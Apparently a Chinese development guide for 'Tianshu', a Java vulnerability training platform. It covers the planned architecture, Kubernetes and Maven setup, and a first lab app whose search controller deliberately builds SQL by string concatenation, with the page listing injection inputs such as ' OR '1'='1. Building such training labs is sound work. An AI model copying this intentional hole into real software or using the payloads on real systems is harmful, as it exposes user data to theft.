# 0. 基础设施与 DevOps 阶段

# 0.0 项目介绍

“天枢” Java 漏洞靶场平台:终极开发方案 (代号 “天枢” 寓意指引方向、核心枢纽)

I. 核心愿景与设计原则

愿景: 打造全球领先的 Java 安全攻防演练平台,提供最全面、最真实、最具挑战性的漏洞场景,赋能安全专业人士与开发者提升实战技能。

设计原则:

极致体验 (User-Centric): 界面友好、交互流畅、引导清晰、反馈及时。

高度仿真 (Realism): 漏洞环境尽可能模拟真实世界的应用架构和业务逻辑。

动态智能 (Dynamic & Intelligent): 支持动态内容、场景变化、甚至 AI 辅助的攻防提示或对手。

坚若磐石 (Robust & Secure): 平台自身安全第一,环境隔离彻底,运行稳定可靠。

无限扩展 (Scalable & Extensible): 架构易于水平扩展,漏洞类型和功能模块易于新增。

DevSecOps 赋能 (DevSecOps Enabled): 快速迭代,自动化部署与运维。

II. 目标架构:微服务 + Kubernetes + Serverless (部分场景)

整体思路: 以微服务架构拆分后端功能,部署于 Kubernetes 集群,实现弹性伸缩和高可用。前端采用现代 SPA 框架。部分非核心、事件驱动的功能可考虑 Serverless。

graph TD  
      subgraph "用户端 (User Facing)"  
          A[现代Web前端 SPA/PWA] --> B{API网关};  
      end  
      subgraph "Kubernetes集群 (Platform Core)"  
          B --> C[用户服务];
          B --> D[认证授权服务];
          B --> E[漏洞定义服务];
          B --> F[靶场编排服务];
          B --> G[用户工作区服务];  
          B --> H[教程/提示服务];  
          B --> I[评分/排行榜服务];  
          B --> J[通知服务WebSocket/SSE];  
          B --> K[管理后台服务];  
          F -- 操作 --> L[Docker/Containerd Runtime];  
          L -- 运行 --> M[漏洞环境Pod];  
          subgraph "数据存储 (Data Stores)"  
              C --> DB1[(PostgreSQL/CockroachDB)];  
              D --> DB1;  
              E --> DB1;  
              G --> DB1;  
              H --> DB1;  
              I --> DB1;  
              K --> DB1;  
              G --> Cache[(Redis)];  
          end  
          subgraph "消息队列 (Message Queue)"  
              F --> MQ[Kafka/RabbitMQ];  
              G --> MQ;  
              I --> MQ;  
              J <--> MQ;  
          end  
          subgraph "日志与监控 (Observability)"  
              ALL_SERVICES --> LOG[ELK/EFK Stack];  
              ALL_SERVICES --> MON[Prometheus/Grafana];  
              ALL_SERVICES --> TRACE[Jaeger/Zipkin];  
          end  
      end  
      M -- 网络隔离 --> M;  
      F -- 管理 --> K8sAPI[Kubernetes API Server];  
      style A fill:#f9f,stroke:#333,stroke-width:2px  
      style B fill:#ccf,stroke:#333,stroke-width:2px  
      style L fill:#eee,stroke:#333,stroke-width:2px  
      style M fill:#lightgrey,stroke:#333,stroke-width:2px  
      style K8sAPI fill:#eee,stroke:#333,stroke-width:2px
  1. 前端 (Frontend):

技术栈:

框架: React (Next.js for SSR/SSG)。

语言: TypeScript。

状态管理: Redux Toolkit / Zustand (React) 或 Pinia (Vue)。

UI 组件库: MUI / Ant Design / Tailwind CSS (结合 Headless UI)。

构建工具: Vite / Webpack.

PWA 支持:提供离线访问能力和原生应用般的体验。

核心特性:

响应式设计,适配 PC、平板。

个性化仪表盘 (Dashboard)。

交互式漏洞浏览器,支持 3D 拓扑图(如果适用)。

集成 Web Terminal (如 Xterm.js) 直接在浏览器中与靶机交互(可选,增强体验)。

富文本编辑器展示教程和指引。

实时通知(靶机状态、得分、公告)。

  1. API 网关 (API Gateway):

技术栈: Spring Cloud Gateway / Kong / Traefik。

职责:统一入口、请求路由、负载均衡、身份验证(与认证服务联动)、限流、API 聚合、日志记录、WAF 集成。

  1. 后端微服务 (Backend Microservices - Java/Kotlin + Spring Boot 3.x):

a. 用户服务 (User Service):

用户注册、登录、个人资料管理、角色与权限。

b. 认证授权服务 (Auth Service):

基于 OAuth 2.1 / OpenID Connect (OIDC)。

可集成 Keycloak 或自研,提供 SSO 能力。

Token 生成、校验、刷新。

c. 漏洞定义服务 (Vulnerability Definition Service):

管理所有漏洞的元数据:ID、名称、描述、CVE 编号、CWE 分类、标签、难度、Docker 镜像、环境变量、所需端口、暴露路径、Flag 格式、分数、教程 ID、提示 ID 等。

支持版本控制。

提供 API 供管理后台编辑和前端展示。

d. 靶场编排服务 (Lab Orchestration Service):

核心服务,与 Kubernetes API 深度集成。

接收用户启动请求,根据漏洞定义在 K8s 中创建对应的 Deployment/Pod。

管理 Pod 生命周期:动态端口映射(通过 K8s Service NodePort/LoadBalancer 或 Ingress)、网络策略(隔离)、资源配额 (CPU/Memory requests & limits)、健康检查。

停止、删除、重置靶机环境。

与消息队列集成,异步处理耗时操作,并通知用户工作区服务。

e. 用户工作区服务 (User Workspace Service):

管理用户当前激活的靶机实例信息:实例 ID、K8s Pod 名、访问 URL、剩余时间、状态。

处理用户与靶机的交互请求代理(如果需要)。

接收编排服务的状态更新,通过 WebSocket/SSE 推送给前端。

f. 教程 / 提示服务 (Tutorial & Hint Service):

存储和提供与漏洞相关的教程、背景知识、多级提示。

支持 Markdown 或其他富文本格式。

g. 评分 / 排行榜服务 (Scoring & Leaderboard Service):

接收用户提交的 Flag,进行校验。

记录用户得分、完成时间和尝试次数。

生成个人和全局排行榜。

h. 通知服务 (Notification Service):

通过 WebSocket 或 Server-Sent Events (SSE) 向前端推送实时消息。

订阅消息队列中的事件(靶机状态变更、新公告、排行榜更新等)。

i. 管理后台服务 (Admin Service):

供管理员使用的 API,管理用户、漏洞定义、平台配置、查看系统状态、审计日志等。

  1. 数据存储 (Data Stores):

主数据库 (Relational): PostgreSQL (推荐) 或 CockroachDB (分布式 SQL)。用于存储用户、漏洞定义、用户进度、配置等结构化数据。使用 Spring Data JPA。

缓存 / 会话存储 (In-Memory): Redis。用于缓存热点数据、用户会话、排行榜、分布式锁。

全文搜索 (Optional): Elasticsearch。用于漏洞库、教程的快速搜索。

对象存储 (Optional): MinIO / AWS S3。用于存储大型教程附件、镜像元数据等。

  1. 消息队列 (Message Queue):

技术栈: Kafka (高吞吐、持久化) 或 RabbitMQ (功能丰富、易用)。

用途:微服务间异步通信、解耦、削峰填谷。例如:靶场编排完成后发消息通知用户工作区服务和通知服务。

  1. 容器运行时与编排 (Container Runtime & Orchestration):

运行时: Docker / Containerd (K8s 默认)。

编排: Kubernetes (K8s)。这是实现 “最好” 平台的关键,提供:声明式部署与自愈能力:定义期望状态,K8s 自动维护。

弹性伸缩:根据负载自动增减靶机 Pod 或平台服务 Pod 数量。

服务发现与负载均衡:内置 DNS,自动分发流量。

配置与密钥管理: ConfigMaps, Secrets。

网络策略:精细控制 Pod 间网络访问,实现靶机环境的强隔离。

资源管理: Requests, Limits。

Helm Charts: 用于打包和部署平台服务及漏洞环境模板。

  1. 可观测性 (Observability):

日志聚合: ELK Stack (Elasticsearch, Logstash, Kibana) 或 EFK (Elasticsearch, Fluentd, Kibana)。所有服务和容器日志集中管理。

指标监控: Prometheus + Grafana。监控 K8s 集群、平台服务、靶机 Pod 的性能指标。

分布式追踪: Jaeger / Zipkin。跟踪跨微服务的请求链路,快速定位瓶颈和错误。

  1. 漏洞环境 (Vulnerability Environments - Docker Images):

Dockerfile 最佳实践:

使用多阶段构建减小镜像体积。

采用最小化的官方基础镜像 (如 eclipse-temurin:17-jre-alpine, tomcat:9-jre11-slim)。

以非 root 用户运行应用。

明确暴露端口,不使用默认密码,移除不必要工具。

对镜像进行漏洞扫描 (Trivy, Snyk)。

针对您已列出的漏洞,实现更精细和多样化的场景:

Java 反序列化:多种 gadget chains (Commons Collections, Spring Gadgets, Jackson 等),不同入口点 (HTTP, RMI, JMX)。

SQL 注入:多数据库类型 (MySQL, PostgreSQL, H2),不同注入技术栈 (MyBatis, Hibernate, JDBC),WAF 绕过场景。

XXE: 多种解析器 (SAX, DOM, StAX),有回显 / 无回显,OOB (Out-of-Band) 数据窃取。

SSRF: 结合云环境元数据 API 利用,利用 gopher/dict 等协议,转向内网其他服务。

Spring RCE: 覆盖更多 CVE (如 CVE-2022-22963, CVE-2022-22947), Actuator 配置不当,SpEL 注入的多种触发方式。

JNDI 注入:绕过高版本 JDK 限制的多种手法 (本地 Object Factory, EL 绕过等)。

新增的高级漏洞场景:

不安全的依赖项 (Software Composition Analysis - SCA): 应用使用已知漏洞的第三方库。

OAuth/OIDC 漏洞:错误的重定向 URI 校验、CSRF、授权码劫持等。

WebSocket 漏洞: CSRF、XSS、ReDoS。

GraphQL 漏洞:批量查询滥用、深度递归、信息泄露。

Java Agent/Instrumentation 利用:动态修改字节码。

Race Condition 漏洞:并发场景下的安全问题。

内存马 / WebShell 持久化:

API 安全漏洞 (OWASP API Security Top 10):

云原生安全漏洞: Docker/K8s 配置错误,IAM 权限过大等。

III. 极致用户体验与学习特性

个性化学习路径:根据用户水平和兴趣推荐漏洞。

交互式教程:步骤引导、代码高亮、关键点提示。

动态难度调整:根据用户表现调整靶机复杂度或提示强度。

实时协作 (团队模式): 支持多人组队攻防,共享工作区和笔记。

攻防沙盘 (Sandbox Mode): 允许用户修改靶机部分代码或配置,观察影响(高级)。

“上帝视角” (Observer Mode): 允许管理员或教师观察学员操作过程。

详细的复盘报告:记录操作步骤、时间线、成功 / 失败尝试,帮助用户总结。

社区与讨论区:用户交流心得、提问、分享 write-up。

徽章与证书系统:激励用户,认可成就。

集成 IDE 插件 (可选): 允许在本地 IDE 中连接到靶场环境进行调试或代码分析。

IV. 管理后台与运维

全面的管理仪表盘:

用户管理、角色分配。

漏洞定义增删改查、版本控制、标签管理。

教程与提示内容管理。

平台公告发布。

系统健康状态监控 (K8s 集群、服务、数据库)。

资源使用情况统计。

审计日志查询。

靶机实例管理 (强制停止、查看日志等)。

配置中心: (如 Spring Cloud Config, HashiCorp Consul/Vault) 集中管理所有微服务的配置。

基础设施即代码 (IaC): 使用 Terraform/Pulumi 管理 K8s 集群等基础设施。

CI/CD 流水线:

GitLab CI / GitHub Actions / Jenkins。

自动化测试(单元、集成、API、安全测试)。

自动化构建 Docker 镜像并推送到私有 / 公共镜像仓库 (Harbor, Docker Hub)。

自动化部署到 K8s (Helm/Kustomize)。

数据库迁移 (Flyway/Liquibase)。

V. 安全设计 (Security by Design)

平台自身安全:

遵循 OWASP Top 10, OWASP ASVS 标准开发。

所有 API 强制 HTTPS,强身份认证和授权。

定期安全审计和渗透测试。

WAF 保护 API 网关。

Secrets 管理使用 Vault 或 K8s Secrets。

靶机环境安全:

强隔离: K8s NetworkPolicy 严格限制靶机 Pod 的网络访问,禁止访问平台内部服务或其他用户靶机。每个用户实例运行在独立的 K8s Namespace 中(终极隔离)。

资源限制:防止靶机应用耗尽宿主机资源。

只读文件系统 (部分): 尽可能使靶机容器文件系统只读,易受攻击的部分挂载为可写卷。

漏洞镜像安全:定期扫描基础镜像和应用依赖。

出口流量控制:限制靶机对外访问(例如,SSRF 时需要可控出口)。

数据安全:

敏感数据加密存储 (如用户密码使用强哈希 Argon2id/scrypt, Flag 可加密)。

数据库访问权限最小化。

备份与恢复策略。

VI. 实施路线图 (Phased Approach)

阶段 0: 基础设施与 DevOps 奠基 (1-2 个月)

搭建 K8s 集群 (可以是云厂商托管 K8s 如 EKS, GKE, AKS 或自建)。

建立 CI/CD 流水线基础。

配置镜像仓库、日志聚合、监控系统。

API 网关选型与部署。

认证授权服务初步搭建 (Keycloak)。

阶段 1: 核心 MVP 上线 (3-4 个月)

核心微服务:用户服务、漏洞定义服务 (YAML 配置)、靶场编排服务 (集成 K8s)、用户工作区服务。

1-2 个精心设计的 Java 漏洞环境 (如 SQLi, Commons Collections)。

PostgreSQL 数据库。

Redis 缓存。

基本的前端:漏洞列表、启动 / 停止、简单教程展示。

基本的管理后台功能:漏洞定义上传。

阶段 2: 功能丰富与体验优化 (4-6 个月)

完善您列表中的 6 种主要漏洞类型,并增加 2-3 个新类型。

实现消息队列,优化异步流程。

前端 UI/UX 大幅提升,实现个性化仪表盘。

实现评分与简单排行榜。

完善教程与提示服务。

增强型管理后台。

初步的日志和监控集成。

阶段 3: 高级特性与智能化 (6-9 个月)

引入更多高级漏洞场景和真实业务模拟。

实现动态难度、交互式教程、团队协作模式。

完善的可观测性:分布式追踪。

安全性强化:定期扫描、WAF 精调。

考虑引入 AI 辅助:智能提示、动态场景生成初步研究。

社区功能雏形。

阶段 4: 生态构建与持续运营 (长期)

开放 API,允许社区贡献漏洞环境。

举办 CTF 比赛。

与企业 / 高校合作。

持续优化性能、安全性、用户体验。

探索商业化模式(如企业版、高级功能订阅)。

VII. 技术栈总结 (推荐)

前端: React/Next.js + TypeScript + Redux/Zustand + MUI/AntD/Tailwind

后端: Java 17+/Kotlin + Spring Boot 3.x + Spring Cloud (部分)

API 网关: Spring Cloud Gateway / Kong

数据库: PostgreSQL, Redis

消息队列: Kafka / RabbitMQ

容器与编排: Docker, Kubernetes, Helm

CI/CD: GitLab CI / GitHub Actions

监控: Prometheus, Grafana

日志: ELK/EFK Stack

追踪: Jaeger / Zipkin

认证: Keycloak / Spring Security OAuth2

IaC: Terraform / Pulumi

VIII. 成功关键因素

强大的技术团队:需要覆盖前后端、DevOps、K8s、安全等领域。

清晰的产品路线图与迭代管理:敏捷开发,小步快跑。

对 Java 漏洞的深度理解:确保靶机场景的真实性和有效性。

社区参与和反馈:积极采纳用户建议。

持续投入和创新:技术和漏洞场景都需要不断更新。

# 0.1 安装核心工具

  1. JDK21 LTS
  2. Docker Desktop
  3. 构建工具 maven
  4. minikube,直接在官网安装
  5. IDE->IDEA
  6. postman 或者 hackbar

# 0.2 启动并配置本地 Kubernetes 集群

  1. 可以选择在 Docker desktop 启动 k8s 或者使用 minikube 启动

    • 先启动 docker,即打开 docker desktop

    • 命令行输入

      minikube start
  2. 总体项目规划

    tian-shu-platform/
    ├── pom.xml # 父 Maven 项目
    ├── platform-services/ # 后端微服务模块
    │ ├── pom.xml
    │ ├── api-gateway/ # (后续添加)
    │ │ └── pom.xml
    │ ├── vulnerability-definition-service/ # 第一个核心服务
    │ │ └── pom.xml
    │ ├── lab-orchestration-service/ # 靶场编排服务
    │ │ └── pom.xml
    │ └── ... (其他服务,如user-service, auth-service等)
    ├── vulnerable-apps/ # 存放各个独立漏洞应用的源码
    │ ├── pom.xml
    │ ├── vuln-sqli-example-java/ # 第一个 Java SQLi 漏洞应用
    │ │ └── pom.xml
    │ └── ... (其他漏洞应用)
    ├── frontend/ # 前端应用 (例如 Next.js 或 Vue.js 项目)
    │ └── package.json
    ├── kubernetes-manifests/ # 存放 K8s 的 YAML 配置文件
    │ ├── platform/ # 平台自身服务的部署文件
    │ └── labs/ # 靶场环境的模板文件
    ├── dockerfiles/ # 通用或特定服务的 Dockerfile
    ├── docs/ # 项目文档
    └── scripts/ # 辅助脚本 (构建、部署等)
  3. 创建父项目(tianshuplatform/pom.xml)

    <?xml version="1.0" encoding="UTF-8"?><project xmlns="http://maven.apache.org/POM/4.0.0"
                                                   xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
                                                   xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
        <modelVersion>4.0.0</modelVersion>
        <groupId>com.tianshu.lab</groupId>
        <artifactId>tian-shu-platform-parent</artifactId>
        <version>0.0.1-SNAPSHOT</version>
        <packaging>pom</packaging>
        <name>TianShu Platform - Parent</name>
        <description>Parent POM for the TianShu Java Vulnerability Lab Platform</description>
        <properties>
            <java.version>17</java.version>
            <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
            <project.reporting.outputEncoding>UTF-8</project.reporting.outputEncoding>
            <spring-boot.version>3.2.5</spring-boot.version> <spring-cloud.version>2023.0.1</spring-cloud.version> <docker.image.prefix>tianshulab</docker.image.prefix> </properties>
        <modules>
            <module>platform-services</module>
            <module>vulnerable-apps</module>
        </modules>
        <dependencyManagement>
            <dependencies>
                <dependency>
                    <groupId>org.springframework.boot</groupId>
                    <artifactId>spring-boot-dependencies</artifactId>
                    <version>${spring-boot.version}</version>
                    <type>pom</type>
                    <scope>import</scope>
                </dependency>
                <dependency>
                    <groupId>org.springframework.cloud</groupId>
                    <artifactId>spring-cloud-dependencies</artifactId>
                    <version>${spring-cloud.version}</version>
                    <type>pom</type>
                    <scope>import</scope>
                </dependency>
            </dependencies>
        </dependencyManagement>
        <build>
            <pluginManagement>
                <plugins>
                    <plugin>
                        <groupId>org.springframework.boot</groupId>
                        <artifactId>spring-boot-maven-plugin</artifactId>
                        <version>${spring-boot.version}</version>
                        <executions>
                            <execution>
                                <goals>
                                    <goal>repackage</goal>
                                </goals>
                            </execution>
                        </executions>
                    </plugin>
                    <plugin>
                        <groupId>org.apache.maven.plugins</groupId>
                        <artifactId>maven-compiler-plugin</artifactId>
                        <version>3.11.0</version>
                        <configuration>
                            <source>${java.version}</source>
                            <target>${java.version}</target>
                        </configuration>
                    </plugin>
                </plugins>
            </pluginManagement>
        </build>
    </project>
    • 项目说明:

      <packaging>pom</packaging>

      表明这是一个 聚合父项目(Aggregator POM),本身不产生可执行代码,而是用于管理多个子模块(如平台服务、漏洞应用等)。

      <modules>
          <module>platform-services</module>
          <module>vulnerable-apps</module>
      </modules>

      platform-services : 可能包含基础平台的服务,如用户、权限、漏洞定义,容器编排等。

      vulnerable-apps : 漏洞演示或靶场应用,供实验或教学使用。

    • 核心配置分析

      • 项目基础信息

        // 组织标识符
        <groupId>com.tianshu.lab</groupId>
        // 项目标识符
        <artifactId>tian-shu-platform-parent</artifactId>
        // 项目开发版本
        <version>0.0.1-SNAPSHOT</version>

        用于构成 Maven 坐标,统一识别模块

      • 属性定义区域

        <java.version>17</java.version>
        <spring-boot.version>3.4.5</spring-boot.version>
        <spring-cloud.version>2024.0.1</spring-cloud.version>

        Java 17:现代 LTS 版本,兼容 Spring Boot 3。

        Spring Boot 3.4.5:为最新版本,具有最新安全修复和 native 支持。

        Spring Cloud 2024.0.1:与 Spring Boot 3.x 兼容的版本(取代原先的 Greenwich、Hoxton 等命名方式)。

    • 依赖管理

      集中声明依赖版本,但不自动引入依赖

      <dependencyManagement>
        <dependencies>
          <dependency>
            <groupId>org.springframework.boot</groupId>
            <artifactId>spring-boot-dependencies</artifactId>
            <version>${spring-boot.version}</version>
            <type>pom</type>
            <scope>import</scope>
          </dependency>
          ...
        </dependencies>
      </dependencyManagement>

      所有子项目不必再指定每个依赖的版本,只需声明依赖即可,避免版本冲突。

    • 插件管理

      用于集中定义 Maven 插件的版本和默认行为

      <pluginManagement>
        <plugins>
          <plugin>
            <artifactId>spring-boot-maven-plugin</artifactId>
            ...
          </plugin>
          <plugin>
            <artifactId>maven-compiler-plugin</artifactId>
            ...
          </plugin>
        </plugins>
      </pluginManagement>

      spring-boot-maven-plugin :打包 Spring Boot 应用为可运行 jar。

      maven-compiler-plugin :设置编译器 Java 源码版本。

  4. 在 tianshu 目录下创建项目 platform-services 和 vulnerable-apps。

    platform-services/pom.xml:

    <?xml version="1.0" encoding="UTF-8"?>
    <project xmlns="http://maven.apache.org/POM/4.0.0"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
        <modelVersion>4.0.0</modelVersion>
      // 父项目引用
      
        <parent>
            <groupId>com.tianshu.lab</groupId>
            <artifactId>tian-shu-platform-parent</artifactId>
            <version>0.0.1-SNAPSHOT</version>
          //父 POM 文件的相对路径,这里是上级目录中的 pom.xml
            <relativePath>../pom.xml</relativePath>
        </parent>
        <artifactId>platform-services-parent</artifactId>
        // 项目打包方式,pom代表项目的唯一标识符
        <packaging>pom</packaging>
        <name>TianShu Platform - Platform Services Parent</name>
        <modules>
            <module>vulnerability-definition-service</module>
            <module>lab-orchestration-service</module>
        </modules>
        <dependencyManagement>
            <dependencies>
                <dependency>
                    <groupId>org.springframework.boot</groupId>
                    <artifactId>spring-boot-dependencies</artifactId>
                    <version>${spring-boot.version}</version>
                    <type>pom</type>
                    <scope>import</scope>
                </dependency>
                <dependency>
                    <groupId>org.springframework.cloud</groupId>
                    <artifactId>spring-cloud-dependencies</artifactId>
                    <version>${spring-cloud.version}</version> <type>pom</type>
                    <scope>import</scope>
                </dependency>
            </dependencies>
        </dependencyManagement>
    </project>

    Vulnerable-apps/pom.xml:

    <?xml version="1.0" encoding="UTF-8"?>
    <project xmlns="http://maven.apache.org/POM/4.0.0"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
        <modelVersion>4.0.0</modelVersion>
        <parent>
            <groupId>com.tianshu.lab</groupId>
            <artifactId>tian-shu-platform-parent</artifactId>
            <version>0.0.1-SNAPSHOT</version>
            <relativePath>../pom.xml</relativePath>
        </parent>
        <artifactId>vulnerable-apps-parent</artifactId>
        <packaging>pom</packaging>
        <name>TianShu Platform - Vulnerable Applications Parent</name>
        <modules>
            <module>vuln-sqli-example-java</module>
        </modules>
    </project>

    vulnerable-apps/pom.xml:

    <?xml version="1.0" encoding="UTF-8"?>
    <project xmlns="http://maven.apache.org/POM/4.0.0"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
        <modelVersion>4.0.0</modelVersion>
        <parent>
            <groupId>com.tianshu.lab</groupId>
            <artifactId>tian-shu-platform-parent</artifactId>
            <version>0.0.1-SNAPSHOT</version>
            <relativePath>../pom.xml</relativePath>
        </parent>
        <artifactId>vulnerable-apps-parent</artifactId>
        <packaging>pom</packaging>
        <name>TianShu Platform - Vulnerable Applications Parent</name>
        <modules>
            <module>vuln-sqli-example-java</module>
        </modules>
    </project>
  5. Docker 镜像仓库

  • Docker Hub: 用于公共镜像或免费私有镜像(有限制)。

  • GitHub Container Registry (GHCR): 与 GitHub Actions 集成良好。

  • GitLab Container Registry: 与 GitLab CI 集成良好。

  • Harbor (自建): 企业级私有镜像仓库。

  • 云厂商 Registry: AWS ECR, Google Artifact Registry, Azure ACR.

我们使用 Docker Hub,登陆 docker registry:

docker login

# 阶段 1. 核心 MVP,开发第一个漏洞应用和第一个核心服务

# 步骤 1.1: 开发第一个漏洞应用 (vuln-sqli-example-java)

  • 创建 Maven 模块 vuln-sqli-example-java:

    tian-shu-platform/vulnerable-apps 模块下新建模块 vuln-sqli-example-java

    tian-shu-platform/vulnerable-apps/vuln-sqli-example-java/pom.xml:

    <?xml version="1.0" encoding="UTF-8"?>
    <project xmlns="http://maven.apache.org/POM/4.0.0"
             xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
             xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
        <modelVersion>4.0.0</modelVersion>
        <parent>
            <groupId>com.tianshu.lab</groupId>
            <artifactId>vulnerable-apps-parent</artifactId>
            <version>0.0.1-SNAPSHOT</version>
            <relativePath>../pom.xml</relativePath>
        </parent>
        <artifactId>vuln-sqli-example-java</artifactId>
        <name>VulnApp - SQL Injection Example (Java)</name>
        <description>A simple Java web application with SQL injection vulnerability.</description>
        <dependencies>
            <dependency>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-starter-web</artifactId>
            </dependency>
            <dependency>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-starter-thymeleaf</artifactId>
            </dependency>
            <dependency>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-starter-jdbc</artifactId>
            </dependency>
            <dependency>
                <groupId>com.h2database</groupId>
                <artifactId>h2</artifactId>
                <scope>runtime</scope>
            </dependency>
            <dependency>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-devtools</artifactId>
                <scope>runtime</scope>
                <optional>true</optional>
            </dependency>
            <dependency>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-starter-test</artifactId>
                <scope>test</scope>
            </dependency>
        </dependencies>
        <build>
            <finalName>${project.artifactId}</finalName> <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
        </build>
    </project>
    <build>
            <finalName>${project.artifactId}</finalName> <plugins>
            <plugin>
                <groupId>org.springframework.boot</groupId>
                <artifactId>spring-boot-maven-plugin</artifactId>
            </plugin>
        </plugins>
        </build>

    创建可执行 JAR:生成一个包含所有依赖的 "胖 JAR"(Fat JAR),可以直接用 java -jar 命令运行,不需要外部依赖

    内嵌依赖:将应用程序运行所需的所有依赖都打包进 JAR 文件中

    提供 Spring Boot 特定功能

    • 管理 Spring Boot 应用程序的生命周期
    • 支持 DevTools 热重载
    • 构建 Docker 镜像(当配置了相应的扩展时)
    • 生成构建信息

    启动类检测:自动寻找包含 main() 方法的类作为应用程序入口点

  • 创建 Spring Boot 主应用类:

    package com.chenluo.vulnsqliexamplejava;
    import org.springframework.boot.SpringApplication;
    import org.springframework.boot.autoconfigure.SpringBootApplication;
    @SpringBootApplication
    public class VulnSqliExampleJavaApplication {
        public static void main(String[] args) {
            SpringApplication.run(VulnSqliExampleJavaApplication.class, args);
        }
    }
  • 创建数据库初始化和实体:

    在 src/main/resources/ 目录下创建 schema.sql 和 data.sql

    src/main/resources/schema.sql:

    DROP TABLE IF EXISTS users;
    CREATE TABLE users (
                           id INT AUTO_INCREMENT PRIMARY KEY,
                           username VARCHAR(255) NOT NULL,
                           password VARCHAR(255) NOT NULL,
                           info VARCHAR(255)
    );

    src/main/resources/data.sql:

    INSERT INTO users (username, password, info) VALUES
                                                     ('admin', 'P@$$wOrdAdm1n', 'Administrator account with full privileges.'),
                                                     ('alice', 'alicePass123', 'Alice Wonderland - Senior Developer.'),
                                                     ('bob', 'bobSecurePwd', 'Bob The Builder - Junior Tester.'),
                                                     ('guest', 'guest', 'Guest account with limited information.');
  • 创建包含 SQL 注入漏洞的 Controller:

    在 src/main/java/com/tianshu/lab/vulnapps/sqli/controller 目录下创建 UserController.java:

    package com.chenluo.vulnsqliexamplejava.controller;
    import org.springframework.beans.factory.annotation.Autowired;
    import org.springframework.jdbc.core.JdbcTemplate;
    import org.springframework.stereotype.Controller;
    import org.springframework.ui.Model;
    import org.springframework.web.bind.annotation.GetMapping;
    import org.springframework.web.bind.annotation.RequestParam;
    import java.util.List;
    import java.util.Map;
    @Controller
    public class UserController {
        @Autowired
        private JdbcTemplate jdbcTemplate;
        @GetMapping("/")
        public String index(Model model) {
            // Optionally load all users on the main page (safely)
            try {
                List<Map<String, Object>> users = jdbcTemplate.queryForList("SELECT id, username, info FROM users");
                model.addAttribute("users", users);
            } catch (Exception e) {
                model.addAttribute("error", "Error loading initial users: " + e.getMessage());
            }
            return "index"; // Corresponds to src/main/resources/templates/index.html
        }
        @GetMapping("/search")
        public String searchUser(@RequestParam(name = "username", required = false) String username, Model model) {
            model.addAttribute("queryUsername", username); 
            if (username == null || username.trim().isEmpty()) {
                model.addAttribute("message", "Please enter a username to search.");
                return "index";
            }
            
            String sql = "SELECT id, username, info FROM users WHERE username = '" + username + "'";
            
            System.out.println("Executing SQL: " + sql);
            model.addAttribute("executedSql", sql);
            try {
                List<Map<String, Object>> result = jdbcTemplate.queryForList(sql);
                if (result.isEmpty()) {
                    model.addAttribute("message", "No user found with username: " + username);
                } else {
                    model.addAttribute("results", result);
                }
            } catch (Exception e) {
                
                model.addAttribute("error", "Error executing query: " + e.getMessage());
                e.printStackTrace();
            }
            return "index";
        }
    }

    创建 Thymeleaf 模板 (index.html):

    在 src/main/resources/templates/ 目录下创建。

    src/main/resources/templates/index.html:

    <!DOCTYPE html>
    <html xmlns:th="http://www.thymeleaf.org">
    <head>
        <meta charset="UTF-8">
        <title>SQLi Vulnerable App</title>
        <style>
            body { font-family: Arial, sans-serif; margin: 20px; background-color: #f4f4f4; color: #333; }
            .container { background-color: #fff; padding: 20px; border-radius: 8px; box-shadow: 0 0 10px rgba(0,0,0,0.1); }
            h1, h2 { color: #0056b3; }
            form { margin-bottom: 20px; }
            label { margin-right: 10px; }
            input[type="text"] { padding: 8px; border: 1px solid #ccc; border-radius: 4px; }
            input[type="submit"] { padding: 8px 15px; background-color: #007bff; color: white; border: none; border-radius: 4px; cursor: pointer; }
            input[type="submit"]:hover { background-color: #0056b3; }
            .results, .users-list { margin-top: 20px; padding: 10px; border: 1px solid #ddd; border-radius: 4px; }
            .results h3, .users-list h3 { margin-top: 0; }
            ul { list-style-type: none; padding: 0; }
            li { background-color: #e9ecef; margin-bottom: 5px; padding: 8px; border-radius: 4px; }
            .error { color: red; font-weight: bold; }
            .sql-query { background-color: #222; color: #0f0; padding: 10px; border-radius: 5px; margin-top:10px; font-family: monospace; white-space: pre-wrap; }
            .tip { background-color: #fff3cd; border: 1px solid #ffeeba; color: #856404; padding: 10px; border-radius: 4px; margin-top: 20px;}
        </style>
    </head>
    <body>
    <div class="container">
        <h1>User Search (SQLi Vulnerable)</h1>
        <form action="search" method="get">
            <label for="username">Username:</label>
            <input type="text" id="username" name="username" th:value="${queryUsername}">
            <input type="submit" value="Search">
        </form>
        <div th:if="${executedSql}" class="sql-query">
            <strong>Executed SQL:</strong>
            <p th:text="${executedSql}"></p>
        </div>
        <div th:if="${message}" th:text="${message}" class="message"></div>
        <div th:if="${error}" th:text="${error}" class="error"></div>
        <div th:if="${results}" class="results">
            <h3>Search Results:</h3>
            <ul>
                <li th:each="user : ${results}">
                    ID: <span th:text="${user.id}"></span>,
                    Username: <span th:text="${user.username}"></span>,
                    Info: <span th:text="${user.info}"></span>
                </li>
            </ul>
        </div>
        <div class="tip">
            <h4>SQL Injection Tips:</h4>
            <p>Try searching for usernames like:</p>
            <ul>
                <li><code>' OR '1'='1</code></li>
                <li><code>admin' -- </code></li>
